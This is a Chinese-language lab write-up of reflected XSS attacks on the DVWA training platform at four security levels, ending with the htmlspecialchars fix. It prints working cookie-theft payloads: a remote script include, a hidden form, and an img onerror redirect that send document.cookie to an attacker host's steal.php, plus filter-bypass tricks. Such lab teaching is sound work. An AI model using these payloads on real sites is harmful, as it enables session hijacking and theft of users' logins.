本文记录一次在DVWA漏洞平台的如何利用反射型XSS,获取该平台登陆Cookie的实验。
1 测试环境
- DVWA:Win 7虚拟机,phpstudy搭建DVWA,存在XSS漏洞的网站;|
IP: 192.168.124.6
|- 主机A:Win 7物理机,开启phpstudy,攻击者;|
IP:192.168.124.2
|
2 Low
PHP源代码如下:
|
可以看出没有任何过滤,直接将用户提交的GET参数name输出到页面,所以我们构造Payload:
<script>alert(/xss/);</script> |
接下来是利用xss获取用户cookie,由于script标签可以加载远程服务器的javascript代码并且执行,所以我们在主机A的服务器下编写cookie.js。
document.write("<form action='http://192.168.124.2/DVWA_XSS/steal.php' name='exploit' method='post' style='display:none'>"); |
上面这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php。steal.php将我们获取到的cookie存到数据库中,代码如下:
|
在MySQL中创建数据库和对应的表来存放Cookie:
create database dvwacookie; |
接下来我们在有xss漏洞的位置插入:
<script src=http://192.168.124.2/DVWA_XSS/cookie.js></script> |
相当于构造链接:
|http://192.168.124.6/DVWA/vulnerabilities/xss_r/?name=<script src=http://192.168.124.2/DVWA_XSS/cookie.js></script>
|
将链接发给该网站下的受害者,受害者点击时就会加载远程服务器(这里是主机A)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。
从主机A的phpstudy打开MySql,发现数据库中接收到了cookie:
3 Medium:
查看PHP源代码:
|
看到|$name = str_replace( '<script>', '', $_GET[ 'name' ] );
|将我们输入内容中的|<script>
|标签替换为了空,但是|str_replace
|这个函数是不区分大小写的,而且只替换一次,所以我们构造Payload:
<scr<script>ipt>alert(/xss/);</script> |
同样的,插入:
<scr<script>ipt src=http://192.168.124.2/DVWA_XSS/cookie.js></script> |
加载远程脚本steal.php,就可以将获取的cookie插入medium表中。
4 High
查看PHP源代码:
|
观察到使用了正则表达式来过滤:|preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'
|,i表示对大小写不敏感。
根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些JavaScript事件后仍然能执行JavaScript代码,所以我们构造Payload:
<img src=# onerror=alert(/xss/)> |
通过加载一个不存在的图片出错触发javascript onerror事件, 继续弹框,证明出来有xss,这样的payload还有很多。
在xss的位置插入:
<img src=# onerror=(location.href="http://192.168.124.2/DVWA_XSS/steal.php?data="+document.cookie)> |
通过触发onerror事件跳转链接到远程服务器的steal.php,同时以GET传送当前的cookie,但是输入仍然被过滤了,这是为何?
<img SrC=# oneRror=(locatIon.href="httP://192.168.124.2/DVWA_XSS/steal.php?data="+documenT.cookie)> |
注意观察我们所插入的代码,标明的大写部分,竟然构成了一个script,所以符合代码的正则,从而被过滤掉了。我们将插入代码中的i进行html编码:
<img src=# onerror=(location.href="http://192.168.124.2/DVWA_XSS/steal.php?data="+document.cookie)> |
我们提交这段代码后绕过了后端的PHP过滤,然后浏览器进行了html解码。然后就是与之前一样的过程,触发onerror事件,向远程服务器的steal.php发送cookie并存入数据库中。
5 Impossible
查看PHP源代码:
|
看到有一个htmlspecialchars( )函数,这个函数的功能是:把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:
如:
|
以上代码的 HTML 输出如下(查看源代码):
|
以上代码的浏览器输出:
This is some <b>bold</b> text.
这样将<>这两个标签字符变为html实体,我们就无法构造标签进行混淆攻击了。